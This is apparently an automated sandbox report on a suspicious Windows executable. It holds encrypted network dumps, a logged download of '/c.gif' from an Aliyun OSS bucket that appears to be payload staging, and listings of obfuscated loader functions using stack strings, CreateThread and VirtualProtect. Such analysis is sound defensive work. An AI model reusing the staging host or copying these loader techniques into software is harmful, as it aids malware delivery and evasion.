2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 5f 58 dd 1d c6 90 d1 17 9e 99 14 9f 9f e8 24 70 eb ab e0 64 64 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 fd 3f eb 9c b1 ed f3 3f 51 9e f7 4d c4 05 d1 c5 c5 8e 4c 31 81 43 ca 47 17 86 4c 11 d9 3a 49 f3 d5 d6 21 1b d8 ae d6 66 c5 de df e0 a9 69 2c 0c cd ed e7 e8 a1 61 b7 c8 dd a6 64 37 b9 71 37 d4 aa 35 3b 34 35 36 37 30 31 32 33 cc cd ce cf c8 4d 8b 02 89 1b 0b 0b 44 84 0f 47 93 d0 1a fa 4d 32 16 17 d4 d5 d6 d7 d0 d1 d2 d3 ec ed ee ef e8 6d ab 22 b9 a1 2b 2b 64 ea 6f 3f 30 31 32 33 7c bc 77 3f 70 b4 3f dd 2e 3c 3e 77 c9 40 0a c8 85 86 8a 8b 84 85 86 87 80 81 82 83 9c 9d 9e 9f 98 1d d5 bb 10 11 d7 17 78 7d b6 9d 9f 9e 9d 2b e9 70 7d c1 69 69 22 e6 20 49 4e 87 11 59 72 73 b8 35 25 3f fb 95 5a 33 f7 a4 36 f4 42 c9 0f 8e 81 97 87 87 87 de 4a c3 01 de 86 c7 19 9a Data Ascii: _X$pdddefg`abc\|}~x??QML1CGL:I!fi,ad7q75;45670123MDGM2m"++do?0123\|w?p?.<>w@x}+p}ii" INYrs5%?Z36BJ
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 6d 6b 6a 06 df 1b 5d a2 58 50 d5 1d 73 88 18 aa a3 a4 a5 4e a1 a8 a9 aa 3b e4 2e 6a 87 73 38 fe 97 bc fd 35 5b 90 00 ad bb bc bd 41 aa f1 c1 c3 c3 41 05 b2 cf 43 8d ee fb 47 05 03 e6 98 5c df bd 6f d4 d6 3f ad d9 da db 94 56 9a fb c8 a9 6b e6 b1 59 e7 e7 a0 64 ae cf c4 a5 6d 2f f8 b9 7b f6 11 4e f7 f7 b0 72 ff c5 40 fc fe b7 89 04 ad b9 05 05 c1 02 9d b3 0b 0b 05 09 0e cf d7 14 9d a9 15 15 17 17 18 19 dd 1e 85 a7 1f 1f 21 21 22 23 9c 2d 26 27 28 61 41 eb 2c 65 a3 22 a1 8b 33 33 bf 61 12 07 70 b0 2e 3a 74 b0 33 f5 42 40 42 ab 09 bb b9 b8 d8 01 c9 8f 64 8e 82 83 9c 19 db 0f 70 75 01 1f db b5 1a 13 d7 84 a1 4a 01 9e 62 63 2c ee dd 9f 68 69 6a 23 e1 39 4a 3f 38 fa bd 36 47 b5 89 62 29 86 7a 7b 34 f8 be 0b b2 c9 01 e7 a0 bd 86 cf 05 c5 ae d3 c4 06 da ab c0 dd Data Ascii: mkj]XPsN;.js85[AACG\o?VkYdm/{Nr@!!"#-&'(aA,e"33ap.:t3B@BdpuJbc,hij#9J?86Gb)z{4
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 4b 9b bd e2 b3 b8 d1 11 54 fa 92 e1 ef 78 e4 29 53 97 53 4e e5 ab a9 aa ef 27 a2 9d 7d f5 34 7b bc 30 77 b6 b7 b8 f5 31 fc b4 f1 33 aa 41 0e 3d 3c 8c 4e 81 df 43 02 8e f0 3c b1 d5 87 11 39 f2 97 ef 25 a9 c5 5d 10 51 01 57 2f d1 9b 39 68 be c7 cc ea ce 93 cc c9 ab e4 5a e5 11 2d 73 10 fd b9 fb 4b 72 e6 f8 dd fb fb be 77 72 ee 10 25 03 03 48 2e c6 46 83 49 f6 d8 e4 41 87 48 18 98 55 0b 55 1a a0 1f 9b f8 15 51 13 a3 9a 0e 20 05 23 23 66 af aa 36 38 0d 2b 2b 60 06 ee 6e bb 71 ce e0 dc 79 bf 70 30 b0 7d 27 7d 32 88 37 c3 a0 4d 09 4b fb c2 56 48 6d 4b 4b 0e c7 c2 5e 40 75 53 53 18 7e 96 16 d3 19 a6 88 b4 11 d7 18 68 e8 25 43 25 ee 66 2e eb a9 6e 27 e5 2a 66 e6 37 55 33 48 a5 7a f3 3e 87 86 85 84 ba 1b 71 00 f4 a5 c2 cb 09 d1 a2 c7 01 fd ae b3 c4 06 41 67 c9 93 Data Ascii: KTx)SSN'}4{0w13A=<NC<9%]QW/9hZ-sKrwr%H.FIAHUUQ ##f68++`nqyp0}'}27MKVHmKK^@uSS~h%C%f.n'*f7U3Hz>qAg
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: d1 84 d1 1d 87 d9 96 2c 92 1f 7c 91 d5 af 1f 26 92 a4 81 a7 a7 ea 23 26 9a bc 89 af af fc 9a 7a f2 3f f4 4a 64 50 ba 4a 30 7a f4 bd 7d 88 c2 05 8b ff 1d b4 ec 89 c6 7c c2 8d 32 0e 4c 31 de 98 dc 6a 51 e7 d7 fc d8 da 99 56 51 ef cf c4 e0 e2 af cf 2d a7 6c b9 15 39 01 13 27 ab d4 33 83 57 b6 71 35 f9 b3 2d 72 38 10 fe 76 3b b7 8b 5d 26 13 4c 8e 6a 23 10 41 81 7f 28 2d 46 84 6c 35 3a 52 4a d6 da db d4 51 93 47 38 15 56 96 54 05 32 6b ad 59 02 3f 69 7c 6b 7d 6d 7a 66 ac dc 01 7f b8 c5 7c bd ef 70 b2 c8 77 b7 d4 0d c0 01 78 3a 47 30 4a 0b 24 30 4d a2 b9 b8 b2 b1 06 dd 45 55 b8 52 1d dd 80 1c d2 a5 13 d9 8f 51 db 17 60 62 63 21 e0 99 13 79 81 b9 9f 93 92 26 e4 b8 39 11 30 70 3d 75 bf 93 7a 32 f0 b3 3d 46 06 90 8e 06 d7 85 85 86 be f3 81 ff 83 b5 b6 81 02 d7 90 Data Ascii: ,\|&#&z?JdPJ0z}\|2L1jQVQ-l9'3Wq5-r8v;]&Lj#A(-Fl5:RJQG8VT2kY?i\|k}mzf\|pwx:G0J$0MEURQ`bc!y&90p=uz2=F
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 1a f0 b1 a6 df 11 dd be b3 d0 14 ea bb 80 49 6d 55 5b 5a ea 2c d5 29 e7 20 eb a5 e6 22 a5 21 1d 4c 4b f4 b9 01 b0 3a 5b b4 f4 b2 00 3b d1 c1 e6 c2 c4 4f 4a d6 d8 ed cb cb 80 e6 0e 8e 5b 91 2e 00 3c 98 5f 90 d0 98 53 9c c4 9c d1 69 e8 62 03 ec ac ea 58 63 f9 e9 ce ea ec 67 62 fe e0 d5 f3 f3 b8 de 36 b6 73 b9 06 28 14 b0 77 b8 08 40 8b 44 18 44 09 b1 00 8a eb 04 44 02 b0 8b 01 11 36 12 14 9f 9a 06 08 3d 1b 1b 50 36 de 5e ab 61 de f0 cc ae 6a 03 40 68 a3 6c 0c d2 ef 62 b9 76 3a 7a b9 75 32 76 b3 29 73 b2 7b 35 7f b6 17 65 cb 0f 60 2d 7d 0a 88 46 c8 5a b2 b2 b1 0e a6 57 12 27 05 1c dd 81 10 d2 94 b3 69 81 a1 a0 e4 a1 6d e7 f0 65 66 67 83 55 e9 16 9c 6d 18 59 f0 cc 8a 73 74 75 76 78 fd ee 7a 7b 7c f6 fb 7f 81 81 82 cf 0f 4b ca 0e ec ad b2 c6 07 48 07 cb b4 a1 Data Ascii: ImU[Z,) "!LK:[;OJ[.<_SibXcgb6s(w@DDD6=P6^aj@hlbv:zu2v)s{5e`-}FZW'imefgUmYstuvxz{\|KH
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 52 57 d5 c5 df 1b 75 ba d3 17 44 d6 14 62 e9 2f ae 41 67 a6 a7 a7 fe 6a e3 25 a6 e6 22 e3 b9 fa 3e fc bd b9 a6 ba 51 99 6c 43 42 f6 32 c5 29 06 c3 c4 8d 4f c4 80 42 09 83 4f 09 ee 94 13 99 51 b2 c4 d5 9e 5a dd 39 1e db dc 95 57 9e e8 a9 6f e6 21 21 e6 e7 a0 60 eb a3 67 2c 2d 23 3c b1 a1 a5 a3 b4 a2 b6 ad b8 ac ba ab b5 7d 13 70 49 89 fa 41 36 f9 43 81 75 2e 2b 48 2c b2 2b a0 11 12 13 58 34 6a 33 30 55 3b a7 38 d5 1e 1f 20 c9 85 ff db da 6a ac 40 01 66 a2 40 09 6e c7 a9 ed cd cc 7c be 76 17 70 b0 be 1f fc 3d 3e 3f 08 ca 35 13 0c cc f2 63 f0 49 4a 4b 04 c6 09 07 18 d8 16 77 64 1d dd 08 18 11 d1 1c 6c 15 d7 1b 44 29 2e e8 13 4d 2a ee 1c 4d 3a 23 e7 a6 86 29 7f 71 72 9b 21 a9 89 88 30 f0 0a 5b 94 31 a2 80 7f c9 0b db ac 6d c5 5b 77 76 c2 00 dc ad c6 04 c2 b9 Data Ascii: RWuDb/Agj%">QlCB2)OBOQZ9Wo!!`g,-#<}pIA6Cu.+H,+X4j30U;8 j@f@n\|vp=>?5cIJKwdlD).M*M:#)qr!0[1m[wv
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 83 dd 52 57 b7 9d 0a 83 72 99 9d 9e 9f 6c 6d 6e 6f 68 66 6a 6b 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 76 7a 7b 74 f1 31 be a9 0f be bf 88 4c d7 ad 73 3a 39 8f f3 0b be e8 a9 85 45 cb f5 e1 d2 d3 d4 9d 5d 5e 40 d9 da db 94 e6 96 cf 92 e7 aa d8 ac ed 90 e0 51 e4 ea eb ec 20 c7 2c 3c b1 a1 bb 77 19 d6 c4 23 b1 77 ee 81 8c ff ff 45 32 c2 4b 89 09 9d 4f 85 05 c0 b1 ac 02 0e 0f f8 c9 10 13 14 90 d6 63 09 e6 1f 9d 6d 1c 1e e0 e3 a2 d9 22 56 f6 96 26 c3 2e c2 21 2c 2d 2e 1d f0 79 b1 f7 14 6e f5 fb f4 79 69 73 bf d1 1e b4 5d 21 33 42 44 ae 5b 0f c5 4c 65 3a 4d 4d b1 84 18 dc 5e c8 1c d8 5a 9f a7 4c 4d eb 5c 5d a1 52 21 10 63 63 e1 be 13 b8 d8 68 22 e8 a8 4d 35 ac bc 39 fb 2f 50 7d 3e fe 14 5d 6a 33 f5 09 5a 67 d7 c0 d6 c2 d1 c4 d0 c6 df c1 09 67 ac 06 77 c3 1d ac Data Ascii: RWrlmnohfjkdefg`abc\|}~xvz{t1Ls:9E]^@Q ,<w#wE2KOcm"V&.!,-.ynyis]!3BD[Le:MM^ZLM\]R!cch"M59/P}>]j3Zggw
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 94 1c 96 de 68 5b d0 17 e4 9e dd 1a 69 d4 bd e2 27 49 d0 0c e7 28 57 8a df aa ed 2e 51 b9 c4 2c fb 31 6e c2 be 7e fa 45 bb 57 be f6 40 0f 81 f0 35 4e c2 42 07 c7 4d 1c cb cc cd f2 ef a4 d5 ee da a1 d2 9e 28 1f 53 dd 30 2d 59 1e d0 64 5e e2 e3 e4 a8 63 11 9c ee a3 62 f2 a4 6d 29 f8 b8 0d b6 f4 4f f7 f7 f8 f9 c9 3b 17 f8 b6 00 c7 fe c2 89 0b 85 ff 5b 7c fd 8a f2 2e 78 3f 8b d2 64 0a 53 90 e3 62 1d 20 56 1b 6e 19 55 e1 d8 cb 28 11 f1 64 a1 d0 67 27 bd ec fa c4 c6 3f d0 f8 79 b7 e8 40 33 f0 34 64 71 c5 f8 75 c2 3a 1b c5 81 37 a8 ce 42 c2 87 3c 0f 0a cf ba 38 46 73 70 25 6f 6f 5d 21 6f d2 8a 2d 77 13 d9 86 2a 5a e8 62 2a 9c a7 6a d8 68 80 99 59 6b 6c e8 ae 1b 63 38 8d 77 50 3d 89 b0 30 fc a1 0f 7b f7 79 f7 83 c9 7d 40 cd 7a 82 a3 c0 76 4d 62 e9 72 71 70 d8 14 Data Ascii: h[i'I(W.Q,1n~EW@5NBM(S0-Yd^cbm)O;[\|.x?dSb VnU(dg'?y@34dqu:7B<8Fsp%oo]!o-wZbjhYklc8wP=0{y}@zvMbrqp
2025-01-12 03:06:06 UTC	4096	IN	Data Raw: 9b dc 16 6d 8f ed 48 d2 10 91 71 cd 9e a0 49 dd 58 5b 5a ee 24 8d 76 f9 aa ac ad e6 2c 74 91 e9 70 78 fd 35 76 88 f1 45 9e 19 2d be bf 0c 89 41 02 f4 8d 39 e2 69 59 ca cb 00 85 47 93 f4 d9 9e 5a 98 f1 f6 80 90 5a 36 fb 95 56 07 96 6b 19 69 e9 0c 8d ec e7 e8 79 a2 60 eb a5 65 e7 b8 7a 73 7b f4 f5 f6 07 07 f9 71 f0 14 59 f4 ff 00 49 89 5f 20 35 4e 84 cc 29 55 c8 c0 45 87 53 34 19 5e 9a 58 31 36 40 50 9a f6 3b 55 96 c7 56 ab d9 a9 29 cc 0d 2c 27 28 b9 62 a0 23 1e fc 67 bb 38 da 95 36 35 36 a7 b3 32 d2 5d 36 3d 3e 77 cb 1d 66 73 0c c6 82 67 17 8a 86 87 80 05 c7 13 74 59 1e da 18 71 76 00 10 da b6 7b 15 d6 87 16 eb 99 e9 69 8c 8d 6f 67 68 f9 22 e0 2b 65 26 e4 60 39 f9 7c 3c fe 64 3f f3 70 92 25 7e 7d 7e ef 0b 8a 6a 9d 8e 85 86 cf 03 d5 ae bb c4 0e 4a af cf 52 Data Ascii: mHqIX[Z$v,tpx5vE-A9iYGZZ6Vkiy`ezs{qYI_ 5N)UES4^X16@P;UV),'(b#g86562]6=>wfsgtYqv{iogh"+e&`9\|<d?p%~}~jJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49984	47.101.26.25	443	6504	C:\Users\user\Desktop\1387457-38765948.15.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 03:06:08 UTC	107	OUT	GET /c.gif HTTP/1.1 User-Agent: 3M Host: jcoiw1.oss-cn-shanghai.aliyuncs.com Cache-Control: no-cache
2025-01-12 03:06:08 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 12 Jan 2025 03:06:08 GMT Content-Type: image/gif Content-Length: 10681 Connection: close x-oss-request-id: 678331A0E5C23A38318A5A3A Accept-Ranges: bytes ETag: "10A818386411EE834D99AE6B7B68BE71" Last-Modified: Sat, 11 Jan 2025 10:53:19 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10287299869673359293 x-oss-storage-class: Standard x-oss-ec: 0048-00000103 Content-Disposition: attachment x-oss-force-download: true Content-MD5: EKgYOGQR7oNNma5re2i+cQ== x-oss-server-time: 1
2025-01-12 03:06:08 UTC	3551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-12 03:06:08 UTC	4096	IN	Data Raw: cf 62 ff 5a 3f 30 31 3a fe ee 75 37 8a ba 5b 85 e1 ec 6b 35 10 78 f6 6d 36 3d 23 d2 d0 cd ab db f8 37 32 1f 37 11 bf 96 19 b0 c6 be a6 a0 ee eb 24 5d 48 ae 73 f3 f5 c5 94 b0 70 dd c6 5c 11 f5 e3 28 66 41 36 66 ef 88 eb 8b 2d 92 d1 9e 9a 8e 78 c0 74 34 67 7b b1 f3 fc 59 49 81 89 f5 cf 42 a2 b8 b8 7a d9 bb 7f 45 04 62 02 52 34 b9 0e 45 7f ce ff c3 12 7c ec ed 9c 64 e7 85 d4 e8 6d e9 e8 2d c8 3d 69 6a 0d 66 e5 c2 e6 27 9e d7 9e 98 68 92 43 fb c4 05 18 16 a9 a8 72 cc e5 66 13 b1 0c 24 22 dc 23 42 b1 c5 b3 c5 9f fd f3 d6 88 82 8e d7 81 8f 50 ee 36 68 55 e9 6b 5a ae a1 ec ca 4e e8 e9 82 52 74 0c 38 e0 2c 9b 17 6f 51 cf 4d 52 2a df 70 1d 00 4d 53 4a 65 f0 2f 99 7a fa 82 f9 0c fb 20 75 c3 54 ed 1d 83 3b 0b af 29 d0 11 b9 47 4d 64 2c b9 73 9e 4e 8d b6 ee f3 66 39 Data Ascii: bZ?01:u7[k5xm6=#727$]Hsp\(fA6f-xt4g{YIBzEbR4E\|dm-=ijf'hCrf$"#BP6hUkZNRt8,oQMR*pMSJe/z uT;)GMd,sNf9
2025-01-12 03:06:08 UTC	3034	IN	Data Raw: 4c 5d 7f 79 25 b9 af f5 fa ff 2d d5 2f 9e 63 5a b4 eb 3c f8 2b dc 07 58 64 ef 7d 5f 68 f0 fa 8a e5 34 38 ff db ca a6 fb c5 61 06 c2 2a ef f0 07 da ad 1f 37 88 9e 3f 37 39 3a 64 4f 74 4c 1c 4f ed 8c 04 e8 32 2f 75 52 85 d3 c1 84 aa 26 20 b4 ef d2 50 e0 65 aa 59 8a eb 7f 04 7f cb 20 fc 09 65 90 40 b9 6c 83 0b ea fe ae a2 b0 2a 83 e0 55 8e c7 4f 10 9c 2e 0c 87 d5 7f 34 18 a1 4d 99 78 06 2b 80 c4 6e 0a 78 03 f4 c4 a6 5d 85 aa fc ce ec 05 9f 47 96 b7 e0 d0 c3 4d 07 1c 93 32 b7 41 1d f1 42 ea c2 af 1c 76 47 ce 69 21 ab b9 ca b8 0d 8c 28 8a f0 3e 70 0a d6 52 7a b0 e5 4d 54 5e 49 25 92 dc fe f8 6f c3 6a 72 b7 08 1a 6f 03 1f b2 0c dc f0 35 6c 4f a9 29 7a c1 f4 63 78 16 6c d9 94 34 46 75 19 48 f8 2d 56 35 df 65 55 d3 05 98 53 87 ae 10 a2 c3 46 bc c5 1c 6f 69 f0 27 Data Ascii: L]y%-/cZ<+Xd}_h48a7?79:dOtLO2/uR& PeY e@lUO.4Mx+nx]GM2ABvGi!(>pRzMT^I%ojro5lO)zcxl4FuH-V5eUSFoi'

Target ID:	0
Start time:	22:04:03
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\1387457-38765948.15.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\1387457-38765948.15.exe"
Imagebase:	0x140000000
File size:	30'954'656 bytes
MD5 hash:	947CD5DF10D540B879C037C1CB519E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	32.8%
Signature Coverage:	16%
Total number of Nodes:	1611
Total number of Limit Nodes:	16

Executed Functions

Function 005AD895 Relevance: 45.5, APIs: 1, Strings: 25, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005ABC65: LoadLibraryA.KERNELBASE ref: 005ABCD2

GetSystemInfo.KERNELBASE ref: 005AD940

Strings

n, xrefs: 005AD913
S, xrefs: 005AD8F0
m, xrefs: 005AD909
t, xrefs: 005AD8EB
d, xrefs: 005AD8CD
e, xrefs: 005AD904
3, xrefs: 005AD8BE
l, xrefs: 005AD8D2
e, xrefs: 005AD8E6
o, xrefs: 005AD91D
G, xrefs: 005AD8E1
t, xrefs: 005AD8FF
s, xrefs: 005AD8FA
k, xrefs: 005AD8A0
f, xrefs: 005AD918
e, xrefs: 005AD8A5
., xrefs: 005AD8C8
l, xrefs: 005AD8D7
n, xrefs: 005AD8AF
y, xrefs: 005AD8F5
r, xrefs: 005AD8AA
I, xrefs: 005AD90E
2, xrefs: 005AD8C3
l, xrefs: 005AD8B9
e, xrefs: 005AD8B4

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: InfoLibraryLoadSystem
String ID: .$2$3$G$I$S$d$e$e$e$e$f$k$l$l$l$m$n$n$o$r$s$t$t$y
API String ID: 2528439753-3724200337
Opcode ID: d85b8bba056b28d2799e73070786ba9d67a4272c9851de9a1785cf0b177bbb99
Instruction ID: 593d3f6a05ceb624d47e8793ba80d147c9de408304e22044190e7317cd0caf72
Opcode Fuzzy Hash: d85b8bba056b28d2799e73070786ba9d67a4272c9851de9a1785cf0b177bbb99
Instruction Fuzzy Hash: EC21942040C7C0D9E3529628C08875FBEE26BA6748F88599DB1C95A292C7BF8658C767

Function 005AE155 Relevance: 98.1, APIs: 2, Strings: 54, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005ABC65: LoadLibraryA.KERNELBASE ref: 005ABCD2

CreateThread.KERNELBASE(?,?,?,?,005AB6B9), ref: 005AE2E7
CreateThread.KERNELBASE ref: 005AE316

Strings

t, xrefs: 005AE258
e, xrefs: 005AE1AB
3, xrefs: 005AE17E
e, xrefs: 005AE174
O, xrefs: 005AE28A
l, xrefs: 005AE197
l, xrefs: 005AE223
k, xrefs: 005AE160
r, xrefs: 005AE267
t, xrefs: 005AE1B5
W, xrefs: 005AE249
S, xrefs: 005AE26C
H, xrefs: 005AE20F
2, xrefs: 005AE183
n, xrefs: 005AE219
a, xrefs: 005AE1B0
n, xrefs: 005AE16F
e, xrefs: 005AE165
l, xrefs: 005AE1FB
b, xrefs: 005AE28F
e, xrefs: 005AE20A
d, xrefs: 005AE18D
C, xrefs: 005AE1A1
n, xrefs: 005AE276
l, xrefs: 005AE192
r, xrefs: 005AE16A
s, xrefs: 005AE205
a, xrefs: 005AE214
g, xrefs: 005AE27B
e, xrefs: 005AE1CE
d, xrefs: 005AE21E
r, xrefs: 005AE1C9
i, xrefs: 005AE271
e, xrefs: 005AE1BA
j, xrefs: 005AE294
l, xrefs: 005AE179
e, xrefs: 005AE228
a, xrefs: 005AE1D3
a, xrefs: 005AE24E
t, xrefs: 005AE2A3
e, xrefs: 005AE299
h, xrefs: 005AE1C4
o, xrefs: 005AE200
T, xrefs: 005AE1BF
d, xrefs: 005AE1D8
i, xrefs: 005AE253
l, xrefs: 005AE280
e, xrefs: 005AE285
c, xrefs: 005AE29E
C, xrefs: 005AE1F6
o, xrefs: 005AE262
r, xrefs: 005AE1A6
F, xrefs: 005AE25D
., xrefs: 005AE188

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: CreateThread$LibraryLoad
String ID: .$2$3$C$C$F$H$O$S$T$W$a$a$a$a$b$c$d$d$d$e$e$e$e$e$e$e$e$e$g$h$i$i$j$k$l$l$l$l$l$l$n$n$n$o$o$r$r$r$r$s$t$t$t
API String ID: 2788165007-893793269
Opcode ID: e91c4b7461437b13ac5e400fcfbaf4a77185ab935cdbb9ea016077ae64e05c00
Instruction ID: a9c2ae705baef2082f40e111d919b68f9ec4366bbd21f72320f8f3b8a1625fce
Opcode Fuzzy Hash: e91c4b7461437b13ac5e400fcfbaf4a77185ab935cdbb9ea016077ae64e05c00
Instruction Fuzzy Hash: DB61873010C7C4CEE366D728C45875FBFD2ABA2708F58495DA1D98A292CBFB8558C763

Function 001F9E2D Relevance: 98.1, APIs: 2, Strings: 54, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001F9AFD: LoadLibraryA.KERNELBASE ref: 001F9B6A

CreateThread.KERNELBASE ref: 001F9FBB
CreateThread.KERNELBASE ref: 001F9FEA

Strings

e, xrefs: 001F9E39
b, xrefs: 001F9F63
l, xrefs: 001F9ECF
T, xrefs: 001F9E93
n, xrefs: 001F9E43
r, xrefs: 001F9F3B
e, xrefs: 001F9E48
S, xrefs: 001F9F40
i, xrefs: 001F9F27
g, xrefs: 001F9F4F
e, xrefs: 001F9F59
s, xrefs: 001F9ED9
r, xrefs: 001F9E9D
j, xrefs: 001F9F68
l, xrefs: 001F9EF7
l, xrefs: 001F9F54
d, xrefs: 001F9EAC
n, xrefs: 001F9F4A
l, xrefs: 001F9E4D
n, xrefs: 001F9EED
e, xrefs: 001F9F6D
e, xrefs: 001F9E8E
e, xrefs: 001F9EFC
e, xrefs: 001F9E7F
a, xrefs: 001F9EE8
a, xrefs: 001F9EA7
C, xrefs: 001F9ECA
h, xrefs: 001F9E98
., xrefs: 001F9E5C
e, xrefs: 001F9EA2
C, xrefs: 001F9E75
i, xrefs: 001F9F45
o, xrefs: 001F9F36
l, xrefs: 001F9E6B
t, xrefs: 001F9E89
k, xrefs: 001F9E34
l, xrefs: 001F9E66
c, xrefs: 001F9F72
t, xrefs: 001F9F77
o, xrefs: 001F9ED4
W, xrefs: 001F9F1D
d, xrefs: 001F9E61
t, xrefs: 001F9F2C
H, xrefs: 001F9EE3
3, xrefs: 001F9E52
O, xrefs: 001F9F5E
r, xrefs: 001F9E3E
r, xrefs: 001F9E7A
a, xrefs: 001F9F22
2, xrefs: 001F9E57
e, xrefs: 001F9EDE
d, xrefs: 001F9EF2
F, xrefs: 001F9F31
a, xrefs: 001F9E84

Memory Dump Source

Source File: 00000000.00000002.3287901093.00000000001F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1f0000_1387457-38765948.jbxd

Similarity

API ID: CreateThread$LibraryLoad
String ID: .$2$3$C$C$F$H$O$S$T$W$a$a$a$a$b$c$d$d$d$e$e$e$e$e$e$e$e$e$g$h$i$i$j$k$l$l$l$l$l$l$n$n$n$o$o$r$r$r$r$s$t$t$t
API String ID: 2788165007-893793269
Opcode ID: 8a5b82fe3d15e2b9049db49ce0ba258f13ec4bbdf6a4570f9736429d93e05b29
Instruction ID: 291817e796b9960acf98a799380addfb22d72d2452b00d03e3d2f6eea33324ca
Opcode Fuzzy Hash: 8a5b82fe3d15e2b9049db49ce0ba258f13ec4bbdf6a4570f9736429d93e05b29
Instruction Fuzzy Hash: 1461982010C7C4CEE366D728C44875FFFD26BA6708F48499DA1D98A292CBFB8558C763

Function 005B3EA5 Relevance: 85.8, APIs: 2, Strings: 47, Instructions: 100
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005ABC65: LoadLibraryA.KERNELBASE ref: 005ABCD2

VirtualProtect.KERNELBASE ref: 005B3FFC
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005B40E4), ref: 005B402B

Strings

e, xrefs: 005B3F88
i, xrefs: 005B3F24
2, xrefs: 005B3F01
l, xrefs: 005B3EF7
e, xrefs: 005B3EF2
n, xrefs: 005B3F9C
o, xrefs: 005B3F4C
t, xrefs: 005B3F51
P, xrefs: 005B3F42
e, xrefs: 005B3EE3
., xrefs: 005B3F06
k, xrefs: 005B3EDE
r, xrefs: 005B3EE8
v, xrefs: 005B3F92
a, xrefs: 005B3F38
l, xrefs: 005B3F15
r, xrefs: 005B3F29
l, xrefs: 005B3EC0
., xrefs: 005B3EC5
n, xrefs: 005B3EED
d, xrefs: 005B3ECA
t, xrefs: 005B3F2E
c, xrefs: 005B3F83
t, xrefs: 005B3F60
e, xrefs: 005B3F97
r, xrefs: 005B3F47
e, xrefs: 005B3F56
V, xrefs: 005B3F1F
n, xrefs: 005B3EAC
t, xrefs: 005B3FA1
l, xrefs: 005B3F10
a, xrefs: 005B3F7E
T, xrefs: 005B3F74
l, xrefs: 005B3EBB
d, xrefs: 005B3EB6
E, xrefs: 005B3F8D
u, xrefs: 005B3F33
l, xrefs: 005B3ED4
l, xrefs: 005B3F3D
d, xrefs: 005B3F0B
t, xrefs: 005B3F6F
c, xrefs: 005B3F5B
r, xrefs: 005B3F79
N, xrefs: 005B3F6A
3, xrefs: 005B3EFC
l, xrefs: 005B3ECF
t, xrefs: 005B3EB1

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID: .$.$2$3$E$N$P$T$V$a$a$c$c$d$d$d$e$e$e$e$e$i$k$l$l$l$l$l$l$l$l$n$n$n$o$r$r$r$r$t$t$t$t$t$t$u$v
API String ID: 895956442-1938279493
Opcode ID: 29593c64c5ee00cf69436b8c0dd258b69dee577c9c3611ce782264d4661d657d
Instruction ID: b78614b32ac8907b9a09df1b16184db5f32317c8e75035ce3d5db1825498b7d3
Opcode Fuzzy Hash: 29593c64c5ee00cf69436b8c0dd258b69dee577c9c3611ce782264d4661d657d
